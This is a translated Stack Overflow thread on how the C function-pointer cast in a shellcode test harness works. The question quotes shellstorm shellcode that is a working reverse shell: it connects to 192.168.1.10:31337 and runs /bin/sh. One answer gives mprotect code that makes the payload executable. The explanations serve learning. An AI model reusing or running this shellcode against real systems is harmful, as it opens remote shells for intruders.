以下是shellstorm的代码副本:
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
任何人都可以帮我解释一下这个“int( ret)()=(int()())代码;” ? 它是如何工作的?为什么它可以使上面的代码运行?
答案 0 :(得分:8)
int(*ret)()
声明一个名为ret
的函数指针;该函数接受未指定的参数并返回一个整数。
(int(*)())code
将code
数组转换为相同类型的函数指针。
因此,这会将code
数组的地址转换为函数指针,然后允许您调用它并执行代码。
请注意,这是技术上未定义的行为,因此它不会 以这种方式工作。但这实际上是所有实现编译此代码的方式。像这样的Shellcodes不可能是可移植的 - code
数组中的字节取决于CPU架构和堆栈帧布局。
答案 1 :(得分:4)
你应该阅读一本好的C编程书。
int (*ret)()
声明一个指向函数的指针,返回一个int
-without指定参数(在C中)
然后= (int(*)())code;
正在初始化ret
,其地址为code
。
最后ret();
正在调用该函数指针,因此调用code
数组中的机器代码。
code
置于只读但不可执行的段中(这可能取决于程序的链接方式)。然后你的shell代码可能无效。
答案 2 :(得分:2)
int (*ret)()
将函数指针ret
定义为返回带有未指定数量的参数的int
的函数。
... = (int(*)())code;
将unsigned char
- 数组code
强制转换为ret
所引用的函数类型并将其分配给ret
。
此次电话
ret();
然后执行存储在code
。
总而言之,这不是一件好事。
答案 3 :(得分:1)
int (*ret)() = (int(*)())code;
int (*ret)()
定义一个指向一个函数的指针,该函数返回int
并且具有未指定数量的参数; (int(*)())code
是类型转换,让其他部分可以将code
视为函数指针,与ret
的类型相同。
顺便说一句,取决于code
的内容,此代码可能仅适用于特定的CPU和操作系统组合,如果它甚至可以正常工作。
答案 4 :(得分:1)
您的程序将产生未定义的行为。 C99规范,第6.2.5节,第27段说:
指向void的指针应具有相同的表示和对齐方式 要求作为指向字符类型的指针。同样,指向 兼容类型的合格或不合格版本应具有 相同的表示和对齐要求。所有指针 结构类型应具有相同的表示和对齐方式 彼此的要求。所有指向union类型的指针都应该有 相同的表示和对齐要求。指针 其他类型不需要具有相同的表示或对齐 要求。
此外,在第6.3.2.3节第8段中,它还说:
指向一种类型的函数的指针可以转换为指向a的指针 另一种类型的功能又回来了;结果应该比较 等于原始指针。
这意味着您不应该将函数指针分配给非函数指针,因为函数指针的大小不能保证与char
指针或void
的大小相同。指针。现在把这些东西放在一边,让我们来看看你的代码。
int (*ret)() = (int(*)())code;
我们先来看看lhs。因此,它将ret
定义为一个指向函数的指针,该函数采用固定但未知的数字和类型的参数(听起来不太好)。在rhs上,您将对数组code
进行类型转换,该数组计算指向其第一个元素的指针,其类型与ret
相同。这是未定义的行为。由于上述原因,只能将函数指针分配给函数指针,而不是指向任何其他类型的指针。此外,由于这个原因,sizeof
运算符可能无法精确地应用于函数指针。
在C++
中,空参数列表表示void
,但C
中的情况并非如此,这意味着没有信息可用于检查调用者提供的参数列表。因此,您必须明确提及void
。因此,您应该更好地编写该语句,假设您已经在程序中定义了一个名为code
的函数。
int code(void);
int (*ret)(void) = (int(*)(void))code;
为了简化有关复杂C
声明的内容,typedef
可能会有所帮助。
typedef int (*myfuncptr)(void);
这将类型myfuncptr
定义为pointer to a function taking no arguments and returning an int
类型。接下来,我们可以定义myfuncptr
类型的变量,就像我们在C
中定义任何类型的变量一样。但请注意,code
必须与函数ret
指向的类型具有相同的签名。如果使用myfuncptr
强制转换任何其他类型的函数指针,则会导致未定义的行为。因此,这使得类型转换变得多余。
int code(void);
int foo(int);
myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
myfuncptr bar = (myfuncptr)foo; // undefined behaviour.
当您将函数名称指定给相同类型的函数指针时,函数名称将计算为指针。您不需要使用运算符&
的地址。类似地,您可以调用指针指向的函数,而不首先取消引用它。
ret(); // call the function pointed to by ret
(*ret)() // deferencing ret first.
请详细阅读此内容 - Casting a function pointer to another type。这是关于如何精神分析复杂C
声明 - Clockwise/Spiral Rule的良好资源。
另请注意,C
标准仅列出main
的两个可接受签名:
int main(void);
int main(int argc, char *argv[]);
答案 5 :(得分:1)
int (*)()
是指向具有以下原型的函数的指针的类型:
int func();
由于解析语言的方式和运算符的优先级,必须将星号放在括号中。同样,当声明该类型的指针变量时,变量的名称位于星号之后,而不是在类型之后,例如,它不是
int (*)() ret;
而是
int (*ret)();
在你的情况下,ret
变量都被声明并初始化为涉及类型转换。
要通过函数指针调用函数,您可以使用更复杂的语法:
(*ret)();
或更简单的一个:
ret();
使用前一种语法是首选,因为它向读者表明ret
实际上是指向函数的指针,而不是函数本身。
现在,原则上代码实际上不起作用。 code[]
数组放置在初始化数据段中,在大多数现代操作系统中,该数据段不可执行,即调用ret();
应该产生分段错误。例如。 Linux上的GCC将code
变量放在.data
部分:
.globl code
.data
.align 32
.type code, @object
.size code, 93
code:
.string "1\3001\3331...\200"
然后.data
部分进入一个不可执行的读写段:
$ readelf --segments code.exe
Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000001c0 0x00000000000001c0 R E 8
INTERP 0x0000000000000200 0x0000000000400200 0x0000000000400200
0x000000000000001c 0x000000000000001c R 1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000064c 0x000000000000064c R E 100000
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
LOAD 0x0000000000000650 0x0000000000500650 0x0000000000500650
0x0000000000000270 0x0000000000000278 RW 100000
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
DYNAMIC 0x0000000000000678 0x0000000000500678 0x0000000000500678
0x0000000000000190 0x0000000000000190 RW 8
NOTE 0x000000000000021c 0x000000000040021c 0x000000000040021c
0x0000000000000020 0x0000000000000020 R 4
GNU_EH_FRAME 0x0000000000000594 0x0000000000400594 0x0000000000400594
0x0000000000000024 0x0000000000000024 R 4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 8
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
.rodata .eh_frame_hdr .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
04 .dynamic
05 .note.ABI-tag
06 .eh_frame_hdr
07
该段缺少可执行标志,即它只是RW
而不是RWE
,因此无法从该内存执行代码。实际上,运行程序会导致存储在code
:
(gdb) run
Starting program: /tmp/code.exe
Shellcode Length: 92
Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1 0x00000000004004a7 in main () at code.c:27
27 ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>
要使其正常工作,您可以使用posix_memalign
和mprotect
的组合来分配内存页面并使其可执行,然后将code[]
的内容复制到那里:
// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>
size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();
printf("Shellcode Length: %d\n", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();
另请注意,shell代码使用int 0x80
来调用Linux内核。如果程序是在64位Linux系统上编译的,那么这将不会开箱即用,因为使用不同的机制来进行系统调用。在这种情况下应指定-m32
以强制编译器生成32位可执行文件。